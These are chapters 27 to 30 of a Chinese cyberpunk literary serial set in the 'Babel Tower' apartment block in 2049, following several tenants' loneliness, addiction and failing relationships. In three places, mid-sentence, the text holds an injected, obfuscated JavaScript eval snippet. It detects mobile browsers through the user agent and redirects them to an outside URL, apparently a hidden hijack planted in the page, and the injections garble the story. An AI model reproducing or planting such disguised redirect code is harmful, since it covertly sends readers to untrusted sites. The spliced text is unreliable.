那一刻，我觉得这座钢铁森林里的所有霓虹灯都为我亮了一遍。 我也许不是什么好的数据清理员，我也许永远去不了加州。但在巴别塔的这一层，在这个潮湿的、拥挤的、充满故障的世界里，我好像终于找到了一个不会过期的东西。 27. 《巴别塔公寓》（1） 时间：2049年，雨季，第58天。凌晨01:30。 地点：巴别塔公寓，101室。 那个男人，老陈，正坐在厨房的桌子旁。他的手边是一瓶没有标签的杜松子酒，玻璃瓶身蒙着一层油腻的水汽。 窗外的雨还在下，雨水敲打着防盗窗的铁栏杆，发出一种类似指甲刮擦黑板的声音。在这个充斥着霓虹光污染的城市里，101室的百叶窗总是拉得严严实实，像是一层眼睑，拒绝睁开看一眼外面那个疯狂的世界。 “你不吃吗？”女人问。她叫敏。 她站在水槽边，背对着老陈。她穿着一件褪色的碎花家居服，那种花色在二十年前很流行，那是还没被大企业彻底垄断之前的审美——那时候的花是真的长在土里的，不是全息投影投射出来的代码。 “我不饿。”老陈说。他拿起杯子，里面的液体晃动了一下。 盘子里的合成肉卷已经冷了。那是一种用藻类蛋白和回收脂肪打印出来的食物，口感像嚼不烂的橡胶。上面淋着褐色的酱汁，已经在盘底凝结成了一层硬壳。 “你应该吃点。”敏转过身，手里拿着一块抹布。她的动作很慢，像是在水里移动，“你的胃已经坏了半边了，医生说如果你再把剩下的半边喝坏，保险公司是不会赔付人工胃囊的。” “去他妈的保险公司。”老陈说。声音不大，像是喉咙里卡着一口痰，“也去他妈的人工胃囊。如果我的身体里装进那种塑料玩意儿，我就不是我了。” “你现在就是你吗？”敏看着他。 这句话像一把钝刀子，在那张铺着塑料桌布的餐桌上划过。老陈抬起头，眼神有些涣散。他的眼袋很重，像两只装满了失望的沙袋垂在脸上。 “别开始，敏。”他说，“别在这个时候开始。” “我没开始。”敏把抹布扔在台面上，发出一声湿漉漉的闷响，“我只是在说事实。水龙头又在漏水了。你听到了吗？” 滴答。滴答。 声音很微弱，但在死一般寂静的屋子里，它像是一个倒计时。 “我会修的。”老陈把杯子里的酒一饮而尽。辛辣的液体顺着食道烧下去，让他那仅存的一半真皮胃壁痉挛了一下。这痛感让他觉得踏实。 敏看着老陈倒酒的手，那只手上布满了褐色的老人斑和细小的伤口。她突然感到一种巨大的、几乎要将她压垮的疲惫。这种疲惫不是因为家务，也不是因为贫穷，而是来源于一种名为“忍受”的漫长惯性。 她的思绪突然跳跃了一下，这是门罗式的跳跃——从眼前这个油腻的厨房，瞬间拉回到了三十年前的那个下午。 那时候，这片区域还不是“巴别塔”公寓，也没有高耸入云的轨道电梯。那时候这里叫“绿河镇”。 她记得那天阳光很好，好得有些刺眼。她穿着一条白色的棉布裙子，站在那个叫罗杰的男人的皮卡车旁。罗杰是那种有着宽阔肩膀和明亮笑容的人，他当时正准备去北方的“新伊甸”开发区，据说那里有真正的蓝天，不需要通过滤镜观看。 “跟我走吧，敏。”罗杰当时说，“留在这里只能烂在泥里。” 也就是在那个下午，老陈——那时的他还是小陈，一个沉默寡言、只会修农机的技工——骑着一辆破旧的摩托车赶来了。他什么也没说，只是站在路边的扬尘里，看着她。他的眼神里有一种受伤动物般的哀求，那种卑微的、湿漉漉的眼神，像是一只被遗弃在雨里的狗。 敏不知道自己为什么在那一刻心软了。也许是因为女人天生就有一种想要修补破碎事物的本能，也许是因为她觉得罗杰的光芒太盛，会灼伤她，而老陈的阴郁却让她感到安全。 她留下了。 三十年过去了。绿河镇消失了，被推土机推平，上面盖起了这座怪兽般的巴别塔。罗杰去了北方，后来听说成了某家生物科技公司的高管，换了一颗钛合金心脏，活得像个神仙。 而她和老陈，像两只被时代洪流冲刷到底部的贝壳，顽固地附着在这间阴暗的一楼公寓里。 敏看着眼前这个正在往杯子里倒第三杯酒的男人。她想，当年的那个决定，是不是就像这水龙头的一滴水，起初微不足道，最后却蚀穿了整个人生？ “我要去修那个该死的水龙头。”老陈突然站了起来，椅子在地板上发出刺耳的摩擦声。 他摇摇晃晃地走向水槽。他其实并不想修，他只是想找点事情做，好避开敏那种仿佛能看穿他骨髓的目光。 他打开水槽下面的柜门，把头探了进去。里面有一股霉味，还有蟑螂爬过的窸窣声。在这个世界里，富人们住在云端，享受着纳米机器人的自动清洁服务；而穷人住在地面，和这些古老的生物争夺生存空间。 “把扳手递给我。”老陈的声音从柜子里传出来，闷闷的。 敏递给他一把生锈的扳手。 老陈的手在发抖。这是酒精中毒的早期症状。他试图卡住那个螺母，但手滑了一下，指关节重重地磕在金属管壁上。 “操！”他骂了一句。 鲜血渗了出来，混着黑色的油泥。 “让我来看看吧。”敏说。她并没有动，只是站在那里看着他的背影。那个背影曾经也是宽厚的，现在却佝偻得像一只煮熟的虾。 “不用你管！”老陈吼道。他更加用力地去拧那个螺母。他在和那个螺母较劲，就像他在和这操蛋的生活较劲。 突然，一股水柱喷涌而出。 并不是那种清澈的自来水，而是浑浊的、带着铁锈味和下水道腥气的污水。它直接喷在了老陈的脸上，把他那件发黄的汗衫瞬间打湿。 老陈狼狈地向后跌坐，手里还紧紧攥着那把扳手。水还在喷，像是一道嘲讽的喷泉，溅得满地都是。 敏看着这一幕。她本该尖叫，或者冲过去帮忙关总阀门。但她没有。她只是静静地看着。 在那一瞬间，她觉得这一幕充满了某种荒诞的诗意。这个男人，试图修补什么，结果却搞砸了一切。这大约是他们婚姻的隐喻。 老陈终于爬起来，手忙脚乱地关掉了总阀门。 厨房里安静了下来，只剩下水滴落在积水里的声音。老陈坐在湿漉漉的地板上，浑身湿透，脸上挂着污水和血迹。他看起来像个落魄的小丑。 他没有看敏，只是低着头，看着自己的手掌。 “我本来……是想把它修好的。”他喃喃自语，声音很轻，像是在对自己说，又像是在对那个并不存在的上帝忏悔，“我只是想把它修好。” 敏叹了口气。这口气很长，像是把胸腔里积压了半辈子的灰尘都吐了出来。 她走过去，绕过地上的积水，蹲在老陈面前。 她伸出手，并没有去擦他脸上的污渍，而是轻轻地放在了他的膝盖上。 “我知道。”她说。 这简单的三个字，包含了太多的东西。包含了那个阳光明媚的下午她没有上那辆皮卡车的遗憾，包含了这三十年来无数个夜晚听着他打鼾时的厌恶，也包含了一种因为共同经历了苦难而产生的、近乎亲情的怜悯。 老陈抬起头，看着敏。他的眼睛红红的，眼角有一滴水滑落，分不清是污水还是眼泪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088251|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “敏，”他说，“我们是不是该离开这儿？那个卖合成罐头的小子说，只要攒够了信用点，可以去地下的贫民窟买一张去外殖民地的船票……” “别傻了，老陈。”敏打断了他，语气变得温柔而残忍，“没有船票。也没有外殖民地。那都是电视里骗人的。我们就住在这里。这就是我们的家。” 她站起身，去卫生间拿了一条干毛巾。 回来的时候，她把它扔在老陈的头上，盖住了他的脸。 “擦擦吧。我去把肉热一下。不管怎么样，日子还得过。” 老陈把毛巾扯下来，胡乱地擦了擦脸。 他重新坐回桌子旁。敏把那盘重新加热过的合成肉端了上来。微波炉的热度让那种劣质的香精味变得更加浓烈。 老陈切了一块，放进嘴里。很难吃，但他还是用力地咀嚼着。 “味道怎么样？”敏问。 “还行。”老陈说。他撒谎了。但他必须撒谎。这是他们之间维持和平的唯一方式。 这时，头顶的天花板传来了一阵沉闷的震动声。那是楼上——大概是三楼传来的声音。可能是那些年轻人在搞什么非法的数据派对，或者是那个新搬来的、装了机械臂的小子在发疯。 “现在的年轻人，真吵。”老陈嘟囔了一句。 “是啊。”敏应道。 他们又陷入了沉默。 其实敏没有告诉老陈，昨天下午她在楼道里遇到了那个住在楼上的年轻人。那个年轻人看起来很苍白，左手是一只看起来很吓人的机械臂。他当时正靠在墙上，盯着手里的一份表格发呆。 敏当时只是路过，但那个年轻人突然抬起头看了她一眼。那眼神里的绝望，像极了三十年前的老陈。 敏当时很想对那个年轻人说点什么，比如“一切都会好起来的”，或者“如果你需要帮忙可以来找我”。但她什么都没说，只是加快脚步走了过去。 因为她知道，在巴别塔里，没有人能救得了谁。每个人都有自己的牢笼。老陈的牢笼是这瓶杜松子酒，那个年轻人的牢笼是那份表格，而她的牢笼，就是这个漏水的房间，和这个她明明嫌弃却又无法抛弃的男人。 饭后，老陈在沙发上睡着了。电视机开着，正在播放一档关于“义体改造最新流行趋势”的广告。蓝色的荧光映在他张开的嘴巴上，让他看起来像是一具被遗弃在沙滩上的浮尸。 敏走到窗边，稍微拉开了一点百叶窗的缝隙。 雨还在下。 透过缝隙，她看到街对面的霓虹灯牌——“赛博极乐世界”。那红色的光晕在雨雾中晕染开来，像是一团燃烧的火。 她想起那个叫罗杰的男人。如果当年她走了，现在会在哪里？也许正坐在某个高层公寓的落地窗前，手里拿着一杯真正的红酒，看着脚下的云层。 但那不是她的人生。那是另一个平行宇宙里的故事。 在这个宇宙里，她只有这间屋子，这个打鼾的男人，还有那个刚刚被关紧、暂时不再漏水的水龙头。 敏关上了百叶窗。屋子里重新回到了昏暗之中。 她走到老陈身边，拿起那瓶还没喝完的杜松子酒，对着瓶口喝了一小口。 很辣，很难喝。像眼泪的味道。 “晚安，老陈。”她轻声说道。 在黑暗中，她似乎听到隔壁楼道里传来了高跟鞋的声音，那是一个年轻女人回来的声音。 但这都与她无关了。在这个夜晚，在这个结局里，生活没有奇迹，只有忍耐。而忍耐，本身就是一种最为漫长和残酷的爱。 28. 《巴别塔公寓》（2） 时间：2049年，雨季，第58天。上午08:00。 地点：巴别塔公寓，304室。 K醒来的时候，发现自己变成了一个错误的算法。 确切地说，是一天早晨，当K从不安的睡梦中醒来时，发现自己躺在床上，左臂变成了一条生锈的、笨重的、并不属于他的机械义肢。 这不是那种昂贵的“军用级”碳纤维义体，也不是那种流线型的“民用级”仿生臂。它看起来像是从垃圾堆里拼凑出来的工业废料：裸露的液压管还在渗漏黑色的机油，关节处发出类似于齿轮咬合失败的咔咔声，手掌是一只巨大的、带有锯齿状抓钩的铁钳。 K惊恐地看着这只手。他试图抬起它，那感觉就像是试图抬起一个装满铅块的铁锚。 “这不合规。”这是K脑子里蹦出的第一个念头。 K是一名低级数据录入员。他在“大都会税务局”的第99级分包公司工作，负责将那些混乱的、手写的旧时代账目输入到中央AI的数据库里。他的生活必须是精确的、无菌的、符合标准的。 按照《巴别塔居民管理条例》第402条，任何未经申报的身体改造都属于“一级违禁”。 他试图用右手去拔掉左肩上的接口。但他发现，那条机械臂已经深深地植入了他的神经束，金属与血肉极其丑陋地融合在一起，接口周围的皮肤呈现出一种病态的紫红色，像是某种溃烂的伤口。 床单已经被机油染黑了一大片。K从床上滚下来，那只沉重的铁钳砸在地板上，发出一声巨响，震得楼下的天花板都在颤抖（那是101室老陈听到声音的时刻）。 K必须去上班。如果不打卡，他的生存信用点就会被扣除；如果被扣除信用点，他的氧气配额就会减少。这是一个完美的闭环。 他慌乱地找出一件宽大的黑色风衣——这是他为了掩盖自己瘦弱身躯常穿的衣服——试图遮住那只畸形的左臂。 就在这时，门铃响了。 那种刺耳的、如同牙钻般的声音。 K僵在原地。他并没有朋友，也从未在这个时间点有过访客。 他透过门上的电子猫眼往外看。走廊里昏暗的灯光闪烁着，站在门外的，是一个高大的身影。 K的心脏瞬间停跳了一拍。是S。 S是他的直属上司，也是K每晚在梦中——那些关于被束缚、被审查、被格式化的湿漉漉的梦中——的主角。 S穿着一身剪裁完美的深灰色立领制服，面料有着某种吸光的特质。他的半张脸覆盖着银色的面甲，那是高级管理人员的标志，据说可以直接连接到核心数据库。他的眼睛是冷冽的蓝色，像两块正在运行复杂计算的冰。 K颤抖着打开了门。 “S长官……您怎么来了？”K的声音在发抖，他下意识地将左半边身体藏在门后。 S没有回答，直接走了进来。他的靴子踩在地板上，发出令人心悸的、富有节奏的叩击声。在这个狭窄、充满机油味和霉味的单身公寓里，S的存在就像是一座洁白而威严的大理石雕像被硬生生塞进了垃圾桶。 “系统检测到你的生物信号出现了异常波动。”S的声音经过面甲的过滤，带着一种带有金属质感的磁性，“K，你迟到了三分钟。” “我……我身体不太舒服。”K低着头，看着S那一尘不染的靴尖。 “身体不舒服不是理由。在这个时代，□□只是载体，只要你的脑机接口还能运作，你就必须上线。”S环顾四周，目光锐利得像是在进行X光扫描，“你在隐瞒什么，K？” “没有，长官。我什么都没隐瞒。” S转过身，一步步逼近K。K步步后退，直到背部撞上了冰冷的墙壁。 “你的心率现在是140。你的肾上腺素水平超标。”S伸出一只戴着黑色皮手套的手，轻轻抬起K的下巴，“看着我。” K被迫抬起头。那双蓝色的电子眼正在读取他的虹膜数据，同时也像是在穿透他的灵魂。在这一刻，恐惧与一种难以启齿的快感混合在一起，让K的双腿发软。 “把风衣脱了。”S命令道。 “不……求您了……”K的眼泪涌了出来。 “脱了。”S的声音没有任何起伏，那是绝对的命令，如同代码中的sudo指令。 K颤抖着解开了扣子。风衣滑落。 那只丑陋、生锈、还在滴油的巨大机械臂暴露在空气中。它在那身苍白的□□上显得如此突兀，像是一桩罪证。 K闭上了眼睛，等待着被逮捕，或者被就地销毁。 但预想中的电击并没有到来。 他感觉到S冰冷的手指触碰到了那个溃烂的接口。那是一种近乎外科手术般的触碰，既残忍又……温柔。 “这就是你的秘密？”S的声音里甚至带着一丝玩味，“一个劣质的、未经注册的工业义肢？你想干什么，K？你想变成一台起重机吗？” “我不知道……我醒来就这样了……”K抽泣着，“我没有非法改装……我发誓……” S的手指顺着那些暴露的电缆向下滑动，滑过生锈的金属外壳，最后握住了那只巨大的铁钳。 “你知道这是什么吗，K？”S低声说道，嘴唇几乎贴到了K的耳边，“这是你潜意识的具象化。这是你的欲望。你想变得强大，你想拥有力量，你想……抓住什么东西。” 随着S的话语，K惊恐地发现，那是真的。那只机械臂仿佛有了自己的意识，它在那铁钳的深处传来一阵震动，那是一种渴望拥抱、渴望禁锢、渴望暴力的冲动。 机械臂突然动了。不受K控制地，那只巨大的铁钳猛地抬起，咔嚓一声，夹住了S纤细的腰肢。 “啊！”K惊叫出声，“对不起！我控制不了它！” 他拼命想松开，但这只手却越收越紧，锋利的金属边缘勒进了S那昂贵的制服里。K感到极度的羞耻，同时也感到一种灭顶的兴奋。他竟然……抓住了他。 S并没有挣扎。他低头看着腰间那只丑陋的铁手，眼神变得幽深。 “很有趣。”S说，“看来你的潜意识比你的表意识要诚实得多。” S抬起手，按在了K的胸口。掌心传来一阵高压电流的刺痛。 “这是一个严重的系统错误，K。你现在的状态，已经构成了‘存在性违规’。” “惩罚我吧。”K喃喃自语，他整个人都挂在那只机械臂上，那是他与S之间唯一的连接，“把我格式化吧，长官。或者把我删了吧。” “删除太便宜你了。”S冷笑了一声。他猛地抓住那只机械臂的液压管，用力一捏。 剧痛让K惨叫出声，机械钳终于松开了。K瘫软在地上，抱着那只残废的手臂瑟瑟发抖。 S居高临下地看着他，像是在看一只翻不过身的甲虫。 “想要活下去，想要保住这只手——或者说，保住你这个可悲的职位，你需要去申请一份许可。” S从虚空中调出一个全息投影窗口，上面密密麻麻全是小字。 “去填第十七号表格。”S说，“这是《非标准生物形态留存申请书》。你需要去六楼的行政中心，找一位叫‘T’的审计员盖章，然后再去地下二层的档案室领取你的编号。” K抬起头，绝望地看着那些复杂的条款。“但是……六楼是空的。听说那里只有服务器……” “那是你的问题。”S整理了一下被抓皱的制服，“如果你在下一次系统更新前（也就是24小时后）没有拿到盖章， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088252|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就会启动清除程序。不仅是这只手，连同你的意识数据，都会被扔进回收站。” S转身向门口走去。 “长官！”K突然喊住了他。 S停下脚步，没有回头。“还有事？” K趴在地上，看着S那完美的背影。地上的机油弄脏了他的脸，让他看起来像个疯子。“如果……如果我拿到了盖章……你会再来看我吗？” S沉默了两秒。 “如果你能证明你的存在是合法的，或许我会考虑给你升级一下这堆废铁。” 门关上了。 K独自留在这个逼仄的房间里。那只机械臂还在无意识地抽搐着，像是一只濒死的兽。 K并没有去六楼。 因为他知道，在这座巴别塔里，根本没有所谓的六楼。电梯只有五层，然后就是顶楼的天台。所谓的“六楼”，是那些高层为了折磨底层员工编造出来的神话。那里是数据的迷宫，是无限循环的代码。 但他还是出门了。 他拖着沉重的机械臂，在那昏暗的、闪烁着故障灯光的楼道里行走。 他遇到了502室那个总是抽烟的女人（Z）。她靠在栏杆上，手里拿着一把水果刀在削苹果。她冷冷地看了K一眼，目光落在他那只怪异的手臂上。 “那是你的灵魂吗？”女人突然问，“长得真丑。” K没有理她。他继续往上走。 他爬到了顶楼的楼梯间，那里只有一堵墙。墙上画着一个巨大的、潦草的箭头，指着虚空，写着“行政中心”。 K站在那堵墙面前。 他开始对着空气说话。 “我是K，编号9527。我申请保留我的变异。” 没有人回答。只有通风管道里传来的呼啸风声。 K拿出随身携带的便携终端，调出了那份“第十七号表格”。 问题1：你爱你的变异吗？ 问题2：如果你的变异会导致系统的崩溃，你是否愿意自我毁灭？ 问题3：你是否愿意为了那个制定规则的人，变成一个怪物？ K看着这些问题。他的视线模糊了。 他想起S刚才那种冰冷的触碰。那种痛楚，是他在这个虚假的数字世界里唯一能感觉到的真实。 他用那只笨拙的铁钳，艰难地在屏幕上敲击着。 回答1：是的。 回答2：是的。 回答3：我已经是了。 K没有下楼。 他坐在楼梯间的角落里，抱着自己的机械臂。 透过楼梯间的窗户，他可以看到对面大楼那巨大的全息广告牌。上面正好是S的脸——那是政府宣传片的画面，S正对着全体市民微笑，那个笑容完美、圣洁、没有任何瑕疵。 “为了一个更完美的秩序。”广告里的S说道。 K痴迷地看着那个巨大的S。 他伸出那只生锈的、滴油的铁钳，隔着脏兮兮的玻璃，试图去触摸那个虚幻的影像。 滋滋—— 他的机械臂突然冒出一阵火花。 可能是短路了。也可能是某种连接终于建立成功了。 K感到一阵剧烈的电流穿过全身。在那个瞬间，他仿佛真的连接到了S的神经网络。他看到了S眼中的世界——那是由纯粹的数据构成的、冰冷而宏伟的白色宫殿。 在那座宫殿里，没有锈迹，没有机油，没有痛苦。 K微笑着闭上了眼睛。他的身体开始抽搐，嘴里流出了白沫，但他的表情却是极度幸福的。 他的机械臂终于停止了颤抖，僵硬地指向天空，像是一座微小的、可笑的巴别塔，试图刺破这层层叠叠的官僚主义乌云，去触碰那个永远不可及的神。 29. 《巴别塔公寓》（3） 絮离开502室的时候，是2049年的春天。或者是冬天？在这个恒温的城市里，季节只是日历上的一个数字。她记得那时候她在跳舞，一直在跳，好像如果不跳，身体就会像那些废弃的硬盘一样生锈。她回头看的时候，看见Z坐在那堆书和显示器中间，像一只被剥了皮的鳄鱼。那时候她想，如果雪人不融化，如果鳄鱼不流泪，她们是不是就可以一直这样下去？ 房间里充斥着低频的Techno音乐，那是从絮的脑机接口里直接外放出来的。 光线是蓝色的。不是那种清澈的天蓝，而是那种用来诱杀昆虫的、带电的蓝。 Z坐在角落的地毯上。她穿着一件巨大的、并不合身的军用大衣，把自己裹得严严实实。这就是她的“人造皮”，她的鳄鱼装。 她在写字。用一支真正的钢笔，在昂贵的、从黑市买来的纸张上写字。 “絮，”Z在纸上写道，墨水洇开，像是一朵黑色的血花，“如果你是一片雪花，那我就是那该死的太阳。我不想融化你，但我只要一靠近，你就消失了。” 絮正趴在阳台的栏杆上。她穿着一件透明的塑料雨衣，里面是银色的镭射吊带。她的后颈上贴着一片名为“雪人”的神经致幻贴片。 那是现在最流行的电子毒品，能让人产生一种“正在北海道看雪”的清凉幻觉，从而忘记这座城市的酸雨和高温。 “你在写什么？”絮转过头，眼神涣散，瞳孔里倒映着窗外巨大的全息广告牌。 “遗书。”Z头也不抬地说，“或者情书。这两者有区别吗？” “Z，你太沉重了。”絮笑了，像是一阵烟雾，“你总是把自己搞得像个殉道者。过来看看这雨，多像电视里的噪点。” Z没有动。她看着絮的背影，感到一种物理上的剧痛。 一种想要把对方吞噬，或者被对方吞噬的极端渴望。 Z低下头，继续在纸上狂草。她的手在发抖，因为她刚刚停用了抗抑郁的神经抑制剂。她想感受真实的痛苦，在这个麻木的赛博世界里，痛觉是她唯一能确认自己活着的证据。 致絮： 在这个充满了仿生人、义肢和云端备份的世界里，我是最后一只鳄鱼。 大家都披着完美的人皮，只有我，在这件大衣下面，长满了名为“羞耻”的鳞片。我爱你，这种爱是畸形的。我想把你锁进这个只有二十平米的鱼缸里，我想切断你的网络连接，我想拔掉你后颈上的那个芯片，让你只看着我。 但我知道这不可能。你是属于流动的。你是千禧年的幽灵，你是属于那些闪烁的灯光、属于那些我不懂的电子音乐、属于那些在午夜便利店门口游荡的灵魂。 刚才我在楼梯口遇到了一个带着机械臂的男人，他看着我就像看着一个同类。那是怪物的眼神。我们都知道，我们这种人，最终的归宿要么是疯人院，要么是焚化炉。 絮，我把我的心脏剖出来放在桌子上，你却以为那是用来盛烟灰的器皿。 Z写完这段话，用力地把笔尖戳在纸上，戳破了那一层薄薄的纤维。 她抬起头。絮还在那里跳舞，即使没有音乐。她的身体像水草一样摇摆，完全沉浸在那个虚假的雪国里。 Z感到一阵恶心。她站起来，那件巨大的大衣像是一层沉重的壳，拖在地上。 Z走到阳台上。雨水瞬间打湿了她的脸。 她从口袋里摸出一把折叠刀。这是她随身携带的东西，不是为了防身，而是为了某种安全感。刀刃在霓虹灯下闪着寒光。 “絮。”Z喊了一声。 絮回过头，眼神迷离。“嗯？” “如果我现在跳下去，”Z指着下面深不见底的街道，那些穿梭的悬浮车像是一条条流动的光带，“你会记得我多久？像这根烟一样久？还是像你的那个‘雪人’贴片一样久？” 絮愣了一下。她似乎从那个幻觉中醒了一点点。她看着Z手里的刀，又看了看Z那张苍白得近乎透明的脸。 “别闹了，Z。”絮走过来，伸出手，想要拿走那把刀，“这不好玩。” “我没在玩。”Z躲开了她的手，把刀尖对准了自己的手腕，“我只是想知道，在这个所有记忆都可以被上传、被篡改、被删除的年代，到底什么是真实的？” “真实就是现在。”絮说。她的声音很轻，带着一种孩童般的残忍，“真实就是我们在这里，抽烟，看雨。其他的都是废话。” 絮突然抱住了Z。 那个拥抱很轻，很软，带着雨水的凉意和廉价香水的味道。Z原本紧绷的身体瞬间僵硬了。她就像那只豪猪，想要靠近取暖，却又怕身上的刺扎伤对方。 “Z，我们去北海道吧。”絮把头埋在Z的坚硬的大衣领子里，喃喃自语，“听说那里有真的雪，不是脑子里这种。我们可以去那里，堆一个永远不会融化的雪人。” Z的手垂了下来，刀掉在地上，发出清脆的响声。 她在撒谎。Z知道絮在撒谎。絮连一张去地面的车票都买不起，更别说去北海道。而且北海道早就被海水淹没了一半，根本没有雪了。 但Z没有拆穿她。在这个瞬间，她允许自己相信这个谎言。 她们回到了房间里。 絮躺在地毯上，那堆散乱的书籍中间。她撕开了Z的大衣。 在那件厚重的伪装下面，Z的身体瘦骨嶙峋，皮肤上有着各种各样的伤痕——那是她自己在深夜里刻下的，用以对抗虚无的记号。 絮的手指划过那些伤痕。 “痛吗？”絮问。 “不痛。”Z说，“那是活着的证明。” 絮吻了她。那个吻带着烟草味，还有一种绝望的甜味。 但在接吻的过程中，Z突然感到一种巨大的恐惧。她看着絮那双闭着的眼睛，那长长的睫毛，突然觉得眼前这个人是如此陌生。 絮爱的不是她。絮爱的是这间屋子提供的庇护，是Z提供的安全感，甚至是Z身上那种艺术家式的疯狂。 Z猛地推开了絮。 “滚。”Z说。 絮睁开眼睛，一脸茫然。“什么？” “我让你滚。”Z的声音在发抖，眼泪毫无预兆地流了下来，“带着你的‘雪人’，带着你的虚假记忆，滚出去。” “你有病吧？”絮坐起来，整理了一下吊带，“刚才还好好的。” “对，我有病。”Z歇斯底里地吼道，她抓起桌上的那些信纸，用力地撕碎，抛向空中。白色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088253|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸屑像雪花一样落下，“我病入膏肓了！我受不了这种像塑料一样的关系！我要的是血！是肉！是灵魂的碰撞！不是这种轻飘飘的过家家！” Z冲进厨房，那是这间公寓里唯一还没被数字化的地方。她拿出一把水果刀，对着空气挥舞。 “你根本不懂什么是爱！”Z哭喊着，“爱是意志的胜利！是把两个人钉在十字架上流干最后的一滴血！你只想快乐，你只想麻醉自己！” 絮站了起来。她冷冷地看着Z，眼神里的温度迅速冷却，变成了那个在夜店里冷漠旁观一切的舞者。 “Z，你太老派了。”絮说，“没人这么爱了。现在是2049年，没人有力气这么爱了。” 絮走了。 门关上的声音很轻，像是一声叹息。 Z独自留在502室。地上一片狼藉，碎纸片，空酒瓶，还有那把掉在地上的水果刀。 Z捡起那把刀。她看着刀刃上倒映出的自己——扭曲，变形，像个怪物。 她走到那台老旧的录音机前——这是她从废品站淘来的，她喜欢这种模拟信号的嘶嘶声。她按下录音键。 “这是Z。现在是凌晨四点。” “絮走了。我觉得我身体里的一部分也跟着走了。就像那条鳄鱼，它终于决定潜回深水里去。” “我曾经以为，只要我写得足够多，只要我爱得足够用力，我就能留住什么。但我错了。在这座巴别塔里，语言是无效的。我们说着不同的语言，即使睡在一张床上，也隔着整整一个光年。” “刚才，我在想，如果我在那把刀上涂满毒药，然后在亲吻她的时候划破她的嘴唇，那样我们是不是就能永远在一起了？这想法真恶心，但也真迷人。” “对不起，絮。我无法像你那样轻盈地活着。我是一块石头，注定要沉到底。” Z关掉录音机。 她从抽屉里拿出一张名片。那是一个地下非法整形医生的名片。上面写着：“定制你的完美人生。” Z看着那张名片，突然笑了。笑得眼泪都流了出来。 也许S是对的。也许K是对的。在这个世界，做一个怪物太痛苦了。也许她该去把自己改造成一个没有任何情感模块的机器人。 絮走在天桥上。雨停了，空气中弥漫着臭氧的味道。 她的后颈有点痒，那是“雪人”贴片失效后的戒断反应。 她回头看了一眼巴别塔。502室的灯还亮着，那是整栋楼里唯一一盏昏黄的灯，其他的窗口透出的都是冷冽的蓝光或紫光。 那盏灯像是一只眼睛，在盯着她。 絮点了一根烟。烟雾缭绕中，她仿佛看到Z站在那个阳台上，穿着那件可笑的大衣，像一只孤独的鳄鱼在挥手。 “傻瓜。”絮吐出一口烟圈。 她知道她还会回去的。 就像《千禧曼波》里的Vicky一样，她会一次又一次地离开，然后一次又一次地回去。因为除了那个疯女人的鱼缸，这个偌大的城市里，没有哪里能容纳她这样一个怕冷的雪人。 她把烟头弹进黑暗的虚空中，看着它像一颗坠落的流星，消失不见。 然后，她转身，继续走向那个永远不会到来的明天。 30. 《巴别塔公寓》（4） 雨终于收起了它那肆虐了一整夜的獠牙。 天色将明未明，这是一种被稀释过的、浑浊的青黛色。巴别塔顶楼的风很大，夹杂着未散去的酸雨气息、底层飘上来的地沟油味，以及那终年不散的、属于机器过热运作的焦糊味。 我在这里支起了一张缺了角的红木桌——这是旧时代的遗物，上面布满了岁月的包浆，与这周围满是金属管线和全息投影发射器的环境显得格格不入。 我在煮茶。 不是那种合成的“分子茶饮”，而是真正的、从泥土里长出来的普洱。水在陶壶里沸腾，发出咕噜咕噜的声音，像是一个老人在低声絮语。茶香慢慢溢出来，这股属于草木的清香，在这座钢铁怪兽的头顶，竟显得有一种惊心动魄的奢侈。 我是这座巴别塔的观察者，也可以叫我房东，或者仅仅是一个赖着不走的旧时代幽灵。 我坐在这里，俯瞰着脚下这座巨大的、精密又破败的蜂巢。 此刻，城市还未完全苏醒。那些彻夜闪烁的霓虹招牌——“赛博极乐”、“义体飞升”——终于显出了一丝疲态，光线变得黯淡，像是一个浓妆艳抹的歌女卸妆后的脸，苍白，且布满了裂纹。 在这黎明前的片刻安静里，我仿佛能听到这栋楼里每一个房间传来的呼吸声。那些呼吸声交织在一起，就像一首关于“求不得”与“爱别离”的交响曲。 我先是想到了五楼的那两个女子。 那个叫Z的孩子，总要把自己裹在那件厚重的鳄鱼皮囊里。她活得太用力了。在这个情感都可以被量化、被算法推荐的年代，她却偏要追求一种古老的、血肉模糊的纯粹。 我看见她在深夜里写下的那些字，每一个字都像是一颗钉子，试图把自己钉在这个虚无的世界上。她以为爱是一场盛大的献祭，必须流血，必须撕裂，必须在烈火中焚烧成灰，才算活过。 